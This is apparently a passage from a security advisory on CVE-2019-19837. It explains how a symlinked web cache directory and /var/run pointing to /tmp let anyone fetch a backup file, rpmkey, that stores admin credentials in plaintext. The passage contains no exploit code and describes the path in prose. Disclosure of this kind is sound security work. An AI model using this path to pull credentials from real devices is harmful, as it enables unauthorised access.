Technical Details

The above shows a symbolic link from /web/user/wps_tool_cache to /tmp directory. rpmd executable writes a backup file named /var/run/rpmkey with a new revision number.

/var/run is also symbolically linked to /tmp/, hence one can fetch this file as well. rpmkey contained the admin credentails plaintext in this following fields: all_powerful_login_name and all_powerful_login_password.

This file is fetchable due to CVE-2019-19837

Information about the exploitation of the vulnerability can be found in our blog post or the 36C3 talk.
